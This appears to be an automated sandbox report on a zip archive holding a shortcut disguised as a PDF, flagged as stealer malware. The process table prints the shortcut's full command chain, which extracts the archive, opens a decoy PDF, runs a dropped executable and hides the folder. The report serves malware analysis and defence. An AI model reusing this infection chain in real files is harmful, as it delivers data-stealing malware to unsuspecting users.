| File name: | 5353645e04ee0415e384fcacd3705be401621f961198950378c3fab593c2db47 |
| Full analysis: | https://app.any.run/tasks/ac8fc0dd-1ae2-46dc-8538-80c4adedfd0c |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | September 22, 2024, 18:43:08 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=deflate |
| MD5: | 3F0C55782B9C87D5B7689A9AFA669392 |
| SHA1: | CDED0814248E6A1C3708FCA2ADAE2ACB8AB25E8B |
| SHA256: | 5353645E04EE0415E384FCACD3705BE401621F961198950378C3FAB593C2DB47 |
| SSDEEP: | 24576:gfA953Chj6oU5e8DIS5SXjH5Rt7fTrDmJ+m6CihBky73MdSHJ8LA7SQpRfx:gfA953C16oU5e8DIKSXjZRt7ffDmJ+mY |
MALICIOUS
Actions looks like stealing of personal data
- forfiles.exe (PID: 6352)
- forfiles.exe (PID: 1640)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 6372)
Searches and executes a command on selected files
- forfiles.exe (PID: 1640)
- forfiles.exe (PID: 6352)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 6372)
INFO
The process uses the downloaded file
- WinRAR.exe (PID: 6372)
Manual execution by a user
- cmd.exe (PID: 2812)
Executable content was dropped or overwritten
- WinRAR.exe (PID: 6372)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2024:09:18 07:47:06 |
| ZipCRC: | 0xf67537ae |
| ZipCompressedSize: | 773 |
| ZipUncompressedSize: | 2649 |
| ZipFileName: | Seguro_de_lMRE.pdf.lnk |
Total processes
145
Monitored processes
9
Malicious processes
2
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1640 | forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C C:\Users\admin\AppData\Local\Temp" | C:\Windows\System32\forfiles.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ForFiles - Executes a command on selected files Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1640 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | UCPDMgr.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2812 | "C:\Windows\System32\cmd.exe" /c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C C:\Users\admin\AppData\Local\Temp"&&cmd /c C:\Users\admin\AppData\Local\Temp\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c C:\Users\admin\AppData\Local\Temp\__MACOSX\~\~\~\~\~\BsSndRpt64.exe&&cmd /c attrib +h +r +s +a C:\Users\admin\AppData\Local\Temp\__MACOSX | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5180 | "C:\WINDOWS\system32\UCPDMgr.exe" | C:\Windows\System32\UCPDMgr.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: User Choice Protection Manager Exit code: 0 Version: 1.0.0.414301 Modules
| |||||||||||||||
| 6280 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6352 | forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C C:\Users\admin\AppData\Local\Temp" | C:\Windows\System32\forfiles.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ForFiles - Executes a command on selected files Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6372 | "C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\5353645e04ee0415e384fcacd3705be401621f961198950378c3fab593c2db47.zip | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 6504 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6740 | "C:\Windows\System32\cmd.exe" /c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C C:\Users\admin\AppData\Local\Temp"&&cmd /c C:\Users\admin\AppData\Local\Temp\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c C:\Users\admin\AppData\Local\Temp\__MACOSX\~\~\~\~\~\BsSndRpt64.exe&&cmd /c attrib +h +r +s +a C:\Users\admin\AppData\Local\Temp\__MACOSX | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
2 720
Read events
2 705
Write events
15
Delete events
0
Modification events
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\5353645e04ee0415e384fcacd3705be401621f961198950378c3fab593c2db47.zip | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000469C0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths |
| Operation: | write | Name: | name |
Value: 256 | |||
| (PID) Process: | (6372) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
Executable files
2
Suspicious files
3
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6372 | WinRAR.exe | C:\Users\admin\Desktop\Seguro_de_lMRE.pdf.lnk | lnk | |
MD5:7FC87AB40E355D6B15EE289B96213A13 | SHA256:8C1D4D62083C8C041B089915005DE85D9EF1DE51F01FE9E72112C3009CE3965D | |||
| 6372 | WinRAR.exe | C:\Users\admin\Desktop\__MACOSX\~\~\~\~\~\BugSplatRc64.dll | executable | |
MD5:672222D636F5DC51F5D52A6BD800F660 | SHA256:14C967DC9C0AA2DD7554658BC0F1C49FA7E908E77C57924C41BC18B7EF0C48B5 | |||
| 6372 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa6372.41027\Seguro_de_lMRE.pdf.lnk | lnk | |
MD5:7FC87AB40E355D6B15EE289B96213A13 | SHA256:8C1D4D62083C8C041B089915005DE85D9EF1DE51F01FE9E72112C3009CE3965D | |||
| 6372 | WinRAR.exe | C:\Users\admin\Desktop\__MACOSX\Seguro_de_lMRE.pdf | ||
MD5:80B86C84B9089DB9DD71A8B1054D05DB | SHA256:4A82487C432447FCC4D0A5989622F381AC24444A598B501EE472D6764694C798 | |||
| 6372 | WinRAR.exe | C:\Users\admin\Desktop\__MACOSX\~\~\~\~\~\BsSndRpt64.exe | executable | |
MD5:633F88B60C96F579AF1A71F2D59B4566 | SHA256:AAF6B2F8CB7389C5CF0391BB41AA9CC6D2FE7AEE75E8570A2B096C054EBCD8D6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
54
DNS requests
19
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6932 | svchost.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2120 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2988 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1948 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
1948 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
6956 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2120 | MoUsoCoreWorker.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
6932 | svchost.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2988 | svchost.exe | 20.190.159.0:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
— | — | 20.190.159.0:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6932 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
browser.pipe.aria.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |